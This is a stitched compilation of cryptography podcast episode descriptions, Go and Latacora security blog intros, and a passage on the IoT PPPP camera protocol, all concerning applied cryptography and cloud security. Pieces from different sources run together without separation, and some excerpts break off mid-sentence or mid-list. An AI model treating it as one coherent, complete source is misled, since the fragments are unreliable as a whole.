On March 1st, 2021, a curious paper appeared on the Cryptology ePrint Archive: senior cryptographer Claus Peter Schnorr submitted research that claims to use lattice mathematics to improve the fast factoring of integers so much that he was able to completely “destroy the RSA cryptosystem” -- certainly a serious claim. Strangely, while the paper’s ePrint abstract did mention RSA, the paper itself didn’t. Two days later, Schnorr pushed an updated version of the paper, clarifying his method. Does Schnorr’s proposed method for “destroying RSA” hold water, however? Some cryptographers aren’t convinced. Joining us today is Leo Ducas , a tenured researcher at CWI, Amsterdam who specialises in lattice-based cryptography, to help us understand where Schnorr was coming from, whether his results stand on their own, and how the influence of lattice mathematics in applied cryptography has grown over the past decade. Links and papers discussed in the show: * Schnorr's ePrint submission (https://eprint.iacr.org/2021/232) * Leo Ducas's implementation of Schnorr's proposed algorithm in Sage (https://github.com/lducas/SchnorrGate) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guest: Léo Ducas.
Zero-Knowledge proofs have broadened the realm of use cases for applied cryptography over the past decade, from privacy-enhanced cryptocurrencies to applications in voting, finance, protecting medical data and more. In 2018, Dr. Eli Ben-Sasson and his team introduced ZK-STARKs, a new zero-knowledge construction that functions without trusted setup, thereby broadening what zero-knowledge systems are capable of. We’ll talk about ZK-STARKs and more with Eli in this episode of Cryptography FM. Links and papers discussed in the show: * Scalable, transparent, and post-quantum secure computational integrity (https://eprint.iacr.org/2018/046.pdf) * Cairo Language (https://www.cairo-lang.org) * Cairo Workshop, 14-15 March 2021! (https://www.eventbrite.com/e/cairo-101-workshop-i-tickets-142918738795) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guest: Eli Ben-Sasson.
Every year, the IACR Real World Cryptography symposium brings together researchers, engineers and practitioners in applied cryptography to discuss cryptography that matters, in the real world. To me, this is the big one! The one cryptography conference that matters the most. Who needs proceedings when you’ve got so much excitement in the air, and so many results and projects that actually have a measurable impact on how cryptography affects the real world? This year’s program is maybe the most exciting yet, with talks on secure channel protocols, multiparty computation, formal methods, post-quantum cryptography, humans, policy and cryptography, hardware, cryptocurrency, cryptography for the cloud, anonymity and more. So many exciting talks! So much new research to discuss! Like every year, Real World Crypto is shaping up to be a veritable who’s who of applied cryptography. In this special episode of Cryptography FM, I’m joined by fellow researcher Benjamin Lipp in order to just… candidly go through the program of Real World Crypto 2021 and covering each talk’s abstract briefly. We’re going to have another special episode after Real World Crypto 2021 as a post-conference episode in order to discuss the highlights of the conference. And hopefully we’ll do this every year here on Cryptography FM! Music composed by Toby Fox and performed by The Consouls (https://www.youtube.com/watch?v=5jUwV8_h7ZY). Special Guest: Benjamin Lipp.
The race for post-quantum cryptographic signature primitives is in its final lap over at NIST, which recently announced DILITHIUM, FALCON and Rainbow as the three signature primitive finalists. But a paper recently published by KU Leuven researcher Ward Beullens claims to find serious weaknesses in the security of Rainbow, one of those three finalists. In fact, the paper claims that the weaknesses are so severe that Rainbow’s security parameters now fall short of the security requirements set out by the NIST post-quantum competition. But how does Rainbow work, and how do these weaknesses affect it? And why weren’t they spotted until now? We discuss this and more in this week’s episode of Cryptography FM. Links and papers discussed in the show: * Improved Cryptanalysis of UOV and Rainbow (https://eprint.iacr.org/2020/1343) * SQISign: compact post-quantum signatures from quaternions and isogenies (https://eprint.iacr.org/2020/1240) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guest: Ward Beullens.
Authenticated encryption such as AES-GCM or ChaCha20-Poly1305 is used in a wide variety of applications, including potentially in settings for which it was not originally designed. A question given relatively little attention is whether an authenticated encryption scheme guarantees “key commitment”: the notion that ciphertext should decrypt to a valid plaintext only under the key that was used to generate the ciphertext. In reality, however, protocols and applications do rely on key commitment. A new paper by engineers at Google, the University of Haifa and Amazon demonstrates three recent applications where missing key commitment is exploitable in practice. They construct AES-GCM ciphertext which can be decrypted to two plaintexts valid under a wide variety of file formats, such as PDF, Windows executables, and DICOM; and the results may shock you. Links and papers discussed in the show: * How to Abuse and Fix Authenticated Encryption Without Key Commitment (https://eprint.iacr.org/2020/1456) * Mitra, Ange's software tool for generating binary polyglots (https://github.com/corkami/mitra) * Shattered and other research into hash collisions (https://github.com/corkami/collisions) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guests: Ange Albertini and Stefan Kölbl.
Before there was Signal, before there was WhatsApp, the realm of secure encrypted messaging was ruled by the Off-the-Record secure messaging protocol, created as an alternative to PGP that introduced security properties like forward secrecy and deniability that were considered exotic at the time. Now, more than a decade later, Off-the-Record messaging, or OTR, has been largely sidelined by Signal variants. But a small team of cryptography engineers is still working on pushing Off-the-Record messaging forward by focusing on use cases that they argue aren’t sufficiently covered by Signal. But what even is deniability, and how much does it matter in the real-world context of secure messaging? Sofía Celi joins us in today’s episode to talk about this and more. Links and papers discussed in the show: * OTRv4 (https://github.com/otrv4/otrv4) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guest: Sofía Celi.
Elliptic-curve signatures have become a highly used cryptographic primitive in secure messaging, TLS as well as in cryptocurrencies due to their high speed benefits over more traditional signature schemes. However, virtually all signature schemes are known to be susceptible to misuse, especially when information about the nonce is leaked to an attacker. LadderLeak is a new attack that exploits side channels present in ECDSA, claiming to allow real-world breaking of ECDSA with less than a bit of nonce leakage. But what does “less than a bit” mean in this context? Is LadderLeak really that effective at breaking ECDSA, with so little information to go on? Joining us this episode are LadderLeak co-authors Akira Takahashi, Mehdi Tibouchi and Yuval Yarom to discuss these questions and more. Links and papers discussed in the show: * LadderLeak: Breaking ECDSA With Less Than One Bit Of Nonce Leakage (https://eprint.iacr.org/2020/615) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guests: Akira Takahashi, Mehdi Tibouchi, and Yuval Yarom.
Secure messaging protocols like Signal have succeeded at making end-to-end encryption the norm in messaging more generally. Whether you’re using WhatsApp, Wire, Facebook Messenger’s Secret Chat feature, or Signal itself, you’re benefiting from end-to-end encryption across all of your messages and calls, and it’s so transparent that most users aren’t even aware of it! One area in which current secure messaging protocols have stalled, however, is the ability to scale secure conversations to groups of dozens, hundreds and even thousands of people. But the IETF’s Messaging Layer Security, or MLS, effort aims to make that happen. Bringing together a collaboration between Wire, Mozilla, Cisco, Facebook, as well as academia, MLS wants to become the TLS of secure messaging, and make it possible to hold secure conversations scaling to thousands of participants. But what are the real-world implementation risks involved? Are conversations even worth securing when you’ve got hundreds of potential leakers? Links and papers discussed in the show: * MLS Website (https://messaginglayersecurity.rocks/) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guest: Raphael Robert.
Zero-knowledge proofs have been a notorious research target ever since Zcash and other cryptocurrencies have invented lots of new use cases for them. Range proofs, bullet proofs, you name it – all kinds of zero-knowledge mechanisms have received more and more attention. But what about using zero-knowledge proofs to prove the existence of a software vulnerability? That way, you can prove that you have a zero-day without risking it getting stolen, putting both vulnerability researchers as well as companies looking to secure their software in a better position! That’s what Dr. David Archer from Galois is working on, and he joins me today on Cryptography FM to discuss this new interesting use case, and more. Links and papers discussed in the show: * Galois Fromager (https://galois.com/project/fromager/) * Using GANs for Sharing Networked Time Series Data: Challenges, Initial Promise, and Open Questions (https://arxiv.org/abs/1909.13403) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guest: David Archer.
The NIST post-quantum competition has started a race for post-quantum cryptography. As a result, we’ve seen a great deal of research into alternative hard mathematical problems to use as a basis for public-key cryptography schemes. Lattice-based cryptography! Error-correcting code based cryptography! And of course, isogeny-based cryptography, have all received enormous renewed interest as a result. While the NIST post-quantum competition recently announced that it’s favoring candidates founded on lattice-based cryptography, it also encouraged further research into isogeny-based cryptography. But what even is isogeny-based cryptography? Is it as intimidating as it sounds? And what’s keeping it behind on NIST’s list of post-quantum primitives? Today, it’s my pleasure to be joined by isogeny-based cryptography researchers Luca de Feo and Hart Montgomery, co-authors of a recent publication titled “Cryptographic Group Actions and Applications”, which Luca affectionately described as a “isogeny-based cryptography for dummies” paper. We’ll be discussing isogeny-based cryptography and more. Links and papers discussed in the show: * Cryptographic Group Actions and Applications (https://eprint.iacr.org/2020/1188) * CSIDH Intro (https://csidh.isogeny.org/) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guests: Hart Montgomery and Luca De Feo.
Anyone who’s looked at the French civil code -- or, God forbid, the French tax code -- will tell you that it takes more than a mere human mind to decipher its meaning, given how it’s been growing and growing ever since it was established by Napoleon hundreds of years ago. Well, Catala is a new project that takes this adage perhaps a bit too literally, by applying formal methods -- a field increasingly seen as immediately adjacent to cryptography -- on the French tax code! Catala aims to provide a “domain-specific programming language designed for deriving correct-by-construction implementations from legislative texts.” -- what that means is that you’ll be able to describe the tax code in a programming language, and get a proven-correct processing of your tax returns in that same language, too! This episode of Cryptography FM is not directly about cryptography. Instead we’ll be covering a highly related and definitely interesting tangent: can we use the same formal methods that have recently proven the security of protocols like Signal and TLS in order to formally verify our tax returns? And, more importantly, can today’s guest help me pay less taxes?! Joining us today is doctoral student Denis Merigoux, to talk about Catala, and more. Links: * Catala homepage (https://catala-lang.org/) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guest: Denis Merigoux.
Ever since its introduction in 2012, the BLAKE hash function has been reputed for achieving performance matching and even exceeding MD5 while still maintaining a high security margin. While the original BLAKE did make it as a finalist to the NIST SHA3 competition, Keccak was ultimately selected. But this hasn’t discouraged the BLAKE team, who in January of this year, published BLAKE3, promising to be even faster than BLAKE2 thanks to a highly parallelizable design and fewer rounds. But wait, what exactly is a parallelizable hash function? Isn't a lower round number risky? And heck, how do you even design a hash function?! Joining me today are two of the four BLAKE3 authors: Jack O’Connor and Jean-Philippe Aumasson, to discuss these questions and more. Links and papers discussed in the show: * BLAKE3 (https://github.com/BLAKE3-team/BLAKE3-specs/blob/master/blake3.pdf) * Too Much Crypto (https://eprint.iacr.org/2019/1492) * PoSH: Proof of Staked Hardware Consensus (https://eprint.iacr.org/2020/1176) * Online Authenticated-Encryption and its Nonce-Reuse Misuse-Resistance (https://web.cs.ucdavis.edu/~rogaway/papers/oae.pdf) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guests: Jack O'Connor and Jean-Philippe Aumasson.
Aside from working on a competition for standardizing post-quantum primitives, the United States National Institute of Standards and Technology, or NIST, has also organized a lightweight cryptography competition meant to attract designs for symmetric primitives, such as hash functions and authenticated encryption ciphers, that work in use cases where even AES is not an adequately speedy standard. Among the submissions to NIST’s lightweight cryptography competition has been Gimli, a family of cryptographic primitives comprised of a hash function and of an authenticated encryption with associated data (AEAD) cipher. Named after the Lord of the Rings Dwarf warrior and authored by a long list of accomplished cryptographers, Gimli looked like a promising submission -- until a team of cryptanalysts at INRIA produced a surprising set of results outlining some potentially serious weaknesses in Gimli’s current design. In their paper, which recently was declared as the winner of the IACR Asiacrypt 2020 Best Paper Award, Antonio Flórez Gutiérrez, Gaëtan Leurent, María Naya-Plasencia, Léo Perrin, André Schrottenloher and Ferdinand Sibleyras from the INRIA research institute here in France presented some very strong results against Gimli’s security. But why does Gimli even matter? Why aren’t AES, ChaCha20-Poly1305, and BLAKE2 enough, even for the most performance-constrained scenarios? And how did this team of researchers succeed in obtaining such serious results on a family of cryptographic primitives that was certainly designed with care and expertise? Links and papers discussed in the show: * New results on Gimli: full-permutation distinguishers and improved collisions (https://eprint.iacr.org/2020/744) * Lower Bounds on the Degree of Block Ciphers (https://eprint.iacr.org/2020/1051) * Saturnin lightweight cryptography (https://project.inria.fr/saturnin/) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guest: Léo Perrin.
TLS 1.3 has been widely praised as a major upgrade to the Transport Layer Security protocol responsible for securing the majority of Web traffic. But one area in which TLS 1.3 seems to be lacking is its potential for resistance to attacks that utilize quantum computing – computers that, theoretically, could factor the products of large primes and solve the discrete logarithm problem in relatively short periods of time, significantly affecting the security of TLS 1.3. Today however, we’re discussing an interesting new paper, to be published at this year’s ACM CCS, which introduces KEMTLS: a modified version of TLS 1.3 that uses Key Encapsulation Mechanisms, or KEMs, instead of signatures for server authentication, thereby providing a sort of “post-quantum TLS”. But what even are KEMs? Are quantum computers even a thing that we should be worried about? On the first ever episode of Cryptography FM, we’ll be hosting Dr. Douglas Stebila and PhD Candidate Thom Wiggers to discuss these questions and more. Dr. Douglas Stebila is an Associate Professor of cryptography in the Department of Combinatorics & Optimization at the University of Waterloo in Waterloo, Ontario, Canada. His research focuses on improving the security of key exchange protocols and Internet cryptography protocols such as TLS and SSH, including the development of quantum-resistant solutions. His previous work on the integration of elliptic curve cryptography in TLS has been deployed on hundreds of millions of web browsers and servers worldwide. Thom Wiggers is a PhD Candidate at the Institute of Computing and Information Sciences at Radboud University in The Netherlands. He is working on the interactions of post-quantum cryptography with protocols, under the supervision of Dr. Peter Schwabe, who is also a co-author of the research work that we’re going to discuss today. Links to discussed papers: * Post-quantum TLS without handshake signatures (https://eprint.iacr.org/2020/534) * Big Other: Surveillance Capitalism and the Prospects of an Information Civilization (https://papers.ssrn.com/sol3/papers.cfm?abstract_id=2594754) * Supersingular isogeny key exchange for beginners (https://eprint.iacr.org/2019/1321) * Clone Detection in Secure Messaging: Improving Post-Compromise Security in Practice (https://cispa.saarland/group/cremers/downloads/papers/CFKN2020-messaging_cloning.pdf) Music composed by Toby Fox and performed by Sean Schafianski (https://seanschafianski.bandcamp.com/). Special Guests: Douglas Stebila and Thom Wiggers.
I delivered my traditional Go Cryptography State of the Union talk at GopherCon US 2025 in New York. It goes into everything that happened at the intersection of Go and cryptography over the last year.
Surprisingly (to me) Claude Code debugged my new ML-DSA implementation faster than I would have, finding the non-obvious low-level issue that was making Verify fail.
Introducing the set of standards that Geomys maintainers strive to uphold in our professional activity as open source maintainers.
Project compromises have common root causes we can mitigate: phishing, control handoff, and unsafe GitHub Actions triggers.
Geomys sometimes acts as a maintainer of last resort for critical Go projects. Recently, we took over the bluemonday HTML sanitizer, and built upgrade paths for the gorilla/csrf library.
Cross-Site Request Forgery countermeasures can be greatly simplified using request metadata provided by modern browsers.
Test coverage of delicate Go cryptographic assembly through a new mutation testing framework.
Encrypting files with passkeys, using the WebAuthn prf extension and the TypeScript age implementation.
Maybe you, yes you, should run a Certificate Transparency log. It’s cheaper, easier, and more important than ever.
RSA key generation is conceptually simple, but extremely tricky. Even benchmarking involves math: we generated a stable but representative “average case” instead of using the ordinary statistical approach.
Large language models, agents, and Model Context Protocol (MCP) are impossible to escape in today’s tech climate. At Latacora, we take a thoughtful and pragmatic approach towards new technologies like these. Are they going to solve all the world’s problems? No. Is it important that we understand them and be able to build software that integrates into emerging ecosystems? Yes!
Internally we’ve built a MCP server to query our Datomic databases using natural language, but now we’re open sourcing the underlying Clojure library so others can easily build robust MCP servers for the emerging LLM agent ecosystem too.
Update: after years of being on the wish list of a ton of top AWS teams, AWS released a built-in version of this feature about two weeks after we published this. Never let it be said gentle ribbing doesn’t work. Also, thanks AWS! We meant it when we said that the only thing better than having something easy to deploy was not needing to deploy anything at all. Everything in this post about workload identity is still relevant but you should probably use upstream’s implementation unless you have a good reason not to (for example, private validators for whom you need a VPC endpoint).
AWS ECS is a widely-adopted service across industries. To illustrate the scale and ubiquity of this service, over 2.4 billion Amazon Elastic Container Service tasks are launched every week (source) and over 65% of all new AWS containers customers use Amazon ECS (source).
There are two primary launch types for ECS: Fargate and EC2. The choice between them depends on factors like cost, performance, operational overhead, and the variability of your workload.
Security tools are often designed to highlight specific issues by consuming APIs and applying predefined logic. Each tool implements its own data structures, storage formats, and evaluation logic. While effective in narrow contexts, this approach creates challenges for teams managing a diverse toolset. Moreover, most tools are optimized to fetch only the data needed for specific findings, limiting their utility in broader contexts such as incident response or historical analysis.
Security rarely tops the priority list for startups - but that doesn’t make it optional.
Running a startup is no small feat. Facing enormous pressure to address a never-ending list of priorities (finding market fit, fundraising, launching new features, scaling infrastructure, etc.) security often becomes a “later” issue……until it can’t be. Even when companies know they need help, the breadth of the problem can be intimidating. Application security, cloud infrastructure, third-party vendors, compliance, cryptography: any resource-constrained startup will be hard-pressed to find a unicorn hire who can own all these responsibilities equally well.
Every other week, regulators around the world bombard their constituents with new data protection laws and acronyms. As the person who was just voluntold you’re now responsible for privacy at your startup, in addition to all your other duties and without any additional resources, how can you possibly be expected to keep up—let alone contextualize that information to maintain compliance?
Privacy, at its core, is an ethical issue, which means the solution to your privacy challenges is deceptively simple: do the right thing and be transparent with your customers. That’s it. That’s what everyone means when they say “privacy by design.”
This post is the second in a series about logging and audit trails from a security perspective. For the first post in the series, see Lessons in Logging: Chopping Down Security Risks Using Audit Trails
If you’re looking to level up your security practices, logging is a good place to focus your attention. Just as logging is a core pillar of observability, comprehensive audit trails are a core pillar of a strong security program. Logs and audit trails are separate but overlapping concepts, and most companies can improve their security posture by investing in this area.
Latacora collects and analyzes data about services our clients use. You may have read about our approach to building security tooling, but the tl;dr is we make requests to all the (configuration metadata) read-only APIs available to us and store the results in S3. We leverage the data to understand our clients' infrastructure and identify security issues and misconfigurations. We retain the files (“snapshots”) to support future IR/forensics efforts.
This approach has served us well, but the limited scope of a snapshot meant
there was always a problem of first needing to figure out which files to look
at. We love aws s3 sync and grep as much as anyone but security analysis
requires looking for complex relationships between resources; text search is,
at best, only a Bloom filter. What we really wanted was a performant way to ask
any question across all the data we have for a client that would support
complex queries using logic programming.
Exciting news! Latacora is teaming up with Vanta to supercharge your compliance game. We now combine Latacora’s security expertise with Vanta’s compliance platform to help you reach your compliance goals faster than ever. As a Vanta managed service provider (MSP), Latacora can help you tackle your compliance goals quickly and efficiently, freeing you to focus on growing your business and building trust with your customers.
Here’s the scoop on why using Vanta through Latacora is a game-changer:
One of our favorite blog posts is our “crypto right answers” post. It’s intended to be an easy-to-use guide to help engineers pick the best cryptography choices without needing to go too far down a rabbit hole. With post-quantum cryptography (PQC) recently transitioning from an academic research topic to a more practical cryptography concern we figured it’s time for an update of our cryptography recommendations.
One thing that makes recommending PQC challenging is that historically, we’ve been able to provide “better” answers for classical cryptography. Faster and bigger hashes, stronger password KDFs, easier-to-use primitives… These things all have the same fundamental “shape”: you can take an existing design and drop in something else to make it better. MD5 and BLAKE3 are not comparable in strength, but you can just use BLAKE3 in place of MD5 and get something that’s just far better with minimal API changes.
We traveled to Toronto this year to attend RWC 2024. The conference was held in TIFF Lightbox located in the city’s downtown; the venue is the headquarters for the Toronto Film Festival and contains five cinema rooms. RWC is a single-tracked conference and there’s no hard requirement that talks are backed by papers. Each RWC includes the Levchin prize ceremony for major achievements in applied cryptography, several invited talks and the lightning talks session.
When people talk about PBKDFs (Password Based Key Derivation Functions), this is usually either in the context of secure password storage, or in the context of how to derive cryptographic keys from potentially low-entropy passwords. The Password Hashing Competition (PHC, 2013-2015) was an open competition to derive new password hashing algorithms, resulting in Argon2 hash as its winner. Apart from achieving general hash security, many of the candidates focused on achieving resistance to parallel attacks on available hardware such as GPUs.
This post is the first in a series about logging and audit trails from a security perspective. For the next post in the series, see Lessons in Logging, Part 2: Mapping Your Path to a Mature Security Program with Logs and Audit Trails
At Latacora, we bootstrap security practices. We partner with companies that frequently have minimally developed security programs, work with them to figure out the right security practices for their current size, and then help them evolve and scale those practices as their business matures.
Most “security tools” today are typically composed by code that consumes an API and applies predefined logic to identify issues. This is generally accomplished by:
Integrating third party tools into our monitoring platform isn’t always straightforward, as each tool:
The last Strange Loop conference was held September 21-22, 2023 at St. Louis Union Station. The conference is targeted towards developers; the speakers are often sharing their knowledge on new and inventive ways to use technology. At our sponsor booth at Union Station, attendees asked two (okay, three) questions most often:
The first one isn’t hard for the folks from our team: Latacora is a consultancy that bootstraps security for startups. We have a team of experts helping our clients with most security-related things: application security, cloud security, corporate security, compliance, and more. We also have a team of security architects, cryptographers, and project managers supporting our clients. These professionals are equipped with power tools built to make their jobs more efficient and to help our clients improve their security posture.
2024-12-17 Updated to include Declarative Policies
Compute resources in AWS (for example, EC2 instances, ECS tasks/services, etc.) get access to AWS credentials, such as temporary instance role credentials, via the Instance Metadata Service (IMDS). The compute resources use these credentials to access other AWS services such as SQS, DynamoDB and Secrets Manager.
There was originally only one version of IMDS, now called “v1,” which unfortunately many people still use. The technical risks and high profile incidents (the Capital One breach comes to mind) associated with v1, as well as the existence of v2 are well-documented. When an application hosted on an EC2 instance is vulnerable to SSRF, XXE or RCE, attackers can likely steal the temporary AWS credentials of the IAM role configured for the instance. This service is a particularly interesting target for attackers:
So, you plan to sell your startup’s product to big companies one day. Congratu-dolences!
Really, that’s probably the only reason you should care about this article. If that’s not you, go forth and live your life! We’ll ask no more of your time.
For the rest of you: Industry people talk about SOC2 a lot, and it’s taken on a quasi-mystical status, not least because it’s the product of the quasi-mystical accounting industry. But what it all boils down to is: eventually you’ll run into big-company clients demanding a SOC2 report to close a sale. You know this and worry about it.
Email is unsafe and cannot be made safe. The tools we have today to encrypt email are badly flawed. Even if those flaws were fixed, email would remain unsafe. Its problems cannot plausibly be mitigated. Avoid encrypted email.
Technologists hate this argument. Few of them specialize in cryptography or privacy, but all of them are interested in it, and many of them tinker with encrypted email tools.
Most email encryption on the Internet is performative, done as a status signal or show of solidarity. Ordinary people don’t exchange email messages that any powerful adversary would bother to read, and for those people, encrypted email is LARP security. It doesn’t matter whether or not these emails are safe, which is why they’re encrypted so shoddily.
Last year we did a blog post on interservice auth. This post is mostly about authenticating consumers to an API. That’s a related but subtly different problem: you can probably impose more requirements on your internal users than your customers. The idea is the same though: you’re trying to differentiate between a legitimate user and an attacker, usually by getting the legitimate user to prove that they know a credential that the attacker doesn’t.
Cryptography engineers have been tearing their hair out over PGP’s deficiencies for (literally) decades. When other kinds of engineers get wind of this, they’re shocked. PGP is bad? Why do people keep telling me to use PGP? The answer is that they shouldn’t be telling you that, because PGP is bad and needs to go away.
There are, as you’re about to see, lots of problems with PGP. Fortunately, if you’re not morbidly curious, there’s a simple meta-problem with it: it was designed in the 1990s, before serious modern cryptography. No competent crypto engineer would design a system that looked like PGP today, nor tolerate most of its defects in any other design. Serious cryptographers have largely given up on PGP and don’t spend much time publishing on it anymore (with a notable exception). Well-understood problems in PGP have gone unaddressed for over a decade because of this.
(This is an introductory level analysis of a scheme involving RSA. If you’re already comfortable with Bleichenbacher oracles you should skip it.)
Someone pointed me at the following suggestion on the Internet for encrypting secrets to people based on their GitHub SSH keys. I like the idea of making it easier for people to leverage key material and tools they already have. The encryption instructions are:
echo "my secret" > message.txt
curl -q "https://github.com/${USER}.keys" \
| head -n 1 \
> recipient.pub
ssh-keygen -e -m pkcs8 -f recipient.pub > recipient.pem
openssl rsautl \
-encrypt \
-pubin \
-inkey recipient.pem \
-ssl \
-in message.txt \
-out encrypted.txt
Anything using an openssl command line tool makes me a little uncomfortable. Let’s poke at it a little.
The ROCA RSA key generation flaw or ROBOT, the “Return Of Bleichenbacher” attack: which is most deserving of the “Best Cryptographic Attack” Pwnie award at the 2018 Black Hat USA conference? Only one can survive. Let us consider.
Assume for the moment that it’s down to those two: ROBOT and ROCA. But first take a moment to consider the best cases for the “runners up”. They are all excellent; it was a very good year for crypto research.
Update: I don’t know if we can take credit for it or if it’s random chance, but I note OpenSSH changed its default in the release after this blog post. The system works!
The eslint-scope npm package got compromised recently, stealing npm credentials from your home directory. We started running tabletop exercises: what else would you smash-and-grab, and how can we mitigate that risk?
Most people have an RSA SSH key laying around. That SSH key has all sorts of privileges: typically logging into prod and GitHub access. Unlike an npm credential, an SSH key is encrypted, so perhaps it’s safe even if it leaks? Let’s find out!
TL;DR: if I ever told you to use Noise, I probably meant Noise_IK and should have been more specific.
The Noise protocol is one of the best things to happen to encrypted protocol design. WireGuard inherits its elegance from Noise. Noise is a cryptography engineer’s darling spec. It’s important not to get blindsided while fawning over it and to pay attention to where implementers run into trouble. Someone raised a concern I had run into before: Noise has a matrix.
Default shells usually end in $. Unless you’re root and it’s #. That
tradition has been around forever: people recognized the need to highlight
you’re not just some random shmoe.
These days we have lots of snazzy shell magic. You might still su, but you’re more likely to sudo. We still temporarily assume extra privileges. If you have access to more than one set of systems, like production and staging, you probably have ways of putting on a particular hat. Some combination of setting an environment variable, adding a key to ssh-agent, or assuming an AWS role with aws-vault. You know, so you don’t accidentally blow away prod.
Modern applications tend to be composed from relationships between smaller applications. Secure modern applications thus need a way to express and enforce security policies that span multiple services. This is the “server-to-server” (S2S) authentication and authorization problem (for simplicity, I’ll mash both concepts into the term “auth” for most of this post).
Designers today have a lot of options for S2S auth, but there isn’t much clarity about what the options are or why you’d select any of them. Bad decisions sometimes result. What follows is a stab at clearing the question up.
If you’re like me, you think of Google Groups as the Usenet client turned mailing list manager. If you’re a GCP (Google Cloud Platform) user or maybe one of a handful of SAML (Security Assertion Markup Language) users you probably know Google Groups as an access control mechanism. The bad news is we’re both right.
This can blow up if permissions on those groups aren’t set right. Your groups were probably originally created by a sleep-deprived founder way before anyone was worried about access control. It’s been lovingly handcrafted and never audited ever since. Let’s say their configuration is, uh, “inconsistent”. If an administrator adds people to the right groups as part of their on-boarding, it’s not obvious when group membership is secretly self-service. Even if someone can’t join a group, they might still be able to read it.
Amidst the hubbub of the Efail PGP/SMIME debacle yesterday, the WireGuard project made a pretty momentous announcement: a MacOS command line version of the WireGuard VPN is now available for testing, and should stabilize in the coming few months. I’m prepared to be wrong, but I think that for a lot of young tech companies, this might be the biggest thing to happen to remote access in decades.
WireGuard is a modern, streamlined VPN protocol that Jason Donenfeld developed based on Trevor Perrin’s Noise protocol framework. Imagine a VPN with the cryptographic sophistication of Signal Protocol and you’re not far off. Here are the important details:
It’s weird to say this but a significant part of the value we provide clients is filling out Dumb Security Questionnaires (hereafter DSQs, since the only thing more irritating than a questionnaire is spelling “questionnaire”).
Daniel Meiessler complains about DSQs, arguing that self-assessment is an intrinsically flawed concept.
Meh. I have bigger problems with them.
First, most DSQs are terrible. We get on calls with prospective clients, tell them “these DSQs were all first written in the early 1990s and lovingly handed down from generation to generation of midwestern IT secops staff. Oh, how clients laugh and laugh. But, not joking. That’s really how those DSQs got written.
We’re less interested in empowering developers and a lot more pessimistic about the prospects of getting this stuff right.
There are, in the literature and in the most sophisticated modern systems, “better” answers for many of these items. If you’re building for low-footprint embedded systems, you can use STROBE and a sound, modern, authenticated encryption stack entirely out of a single SHA-3-like sponge constructions. You can use NOISE to build a secure transport protocol with its own AKE. Speaking of AKEs, there are, like, 30 different password AKEs you could choose from.
My previous article on IoT “P2P” cameras couldn’t go into much detail on the PPPP protocol. However, there is already lots of security research on and around that protocol, and I have a feeling that there is way more to come. There are pieces of information on the protocol scattered throughout the web, yet every one approaching from a very specific narrow angle. This is my attempt at creating an overview so that other people don’t need to start from scratch.
While the protocol can in principle be used by any kind of device, so far I’ve only seen network-connected cameras. It isn’t really peer-to-peer as advertised but rather relies on central servers, yet the protocol allows to transfer the bulk of data via a direct connection between the client and the device. It’s hard to tell how many users there are but there are lots of apps, I’m sure that I haven’t found all of them.
There are other protocols with similar approaches being used for the same goal. One is used by ThroughTek’s Kalay Platform which has the interesting string “Charlie is the designer of P2P!!” in its codebase (32 bytes long, seems to be used as “encryption” key for some non-critical functionality). I recognize both the name and the “handwriting,” it looks like PPPP protocol designer found a new home here. Yet PPPP seems to be still more popular than the competition, thanks to it being the protocol of choice for cheap low-end cameras.
Disclaimer: Most of the information below has been acquired by analyzing public information as well as reverse engineering applications and firmware, not by observing live systems. Consequently, there can be misinterpretations.
Update (2025-11-07): Added App2Cam Plus app to the table, representing a number of apps which all seem to be belong to ABUS Smartvest Wireless Alarm System.
Update (2025-11-07): This article originally grouped Xiaomi Home together with Yi apps. This was wrong, Xiaomi uses a completely different protocol to communicate with their PPPP devices. A brief description of this protocol has been added.
Update (2025-11-17): Added eWeLink, Owltron, littlelf and ZUMIMALL apps to the table.
Update (2025-12-08): Added Aqara Home, OMGuard HD, SmartLife - Smart Living apps to the table.
The protocol’s goal is to serve as a drop-in replacement for TCP. Rather than establish a connection to a known IP address (or a name to be resolved via DNS), clients connect to a device identifier. The abstraction is supposed to hide away how the device is located (via a server that keeps track of its IP address), how a direct communication channel is established (via UDP hole punching) or when one of multiple possible fallback scenarios is being used because direct communication is not possible.
The protocol is meant to be resilient, so there are usually three redundant servers handling each network. When a device or client needs to contact a server, it sends the same message to all of them and doesn’t care which one will reply. Note: In this article “network” generally means a PPPP network, i.e. a set of servers and the devices connecting to them. While client applications typically support multiple networks, devices are always associated with a specific one determined by their device prefix.
For what is meant to be a transport layer protocol, PPPP has some serious complexity issues. It encompasses device discovery on the LAN via UDP broadcasts, UDP communication between device/client and the server and a number of (not exactly trivial) fallback solutions. It also features multiple “encryption” algorithms which are more correctly described as obfuscators and network management functionality.
Paul Marrapese’s Wireshark Dissector provides an overview of the messages used by the protocol. While it isn’t quite complete, a look into the pppp.fdesc file shows roughly 70 different message types. It’s hard to tell how all these messages play together as the protocol has not been designed as a state machine. The protocol implementation uses its previous actions as context to interpret incoming messages, but it has little indication as to which messages are expected when. Observing a running system is essential to understanding this protocol.
The complicated message exchange required to establish a connection between a device and a client has been described by Elastic Security Labs. They also provide the code of their client which implements that secret handshake.
I haven’t seen any descriptions of how the fallback approaches work when a direct connection cannot be established. Neither could I observe these fallbacks in action, presumably because the network I observed didn’t enable them. There are at least three such fallbacks: UDP traffic can be relayed by a network-provided server, it can be relayed by a “supernode” which is a device that agreed to be used as a relay, and it can be wrapped in a TCP connection to the server. The two centralized solutions incur significant costs for the network owners, rendering them unpopular. And I can imagine the “supernode” approach to be less than reliable with low-end devices like these cameras (it’s also a privacy hazard but this clearly isn’t a consideration).
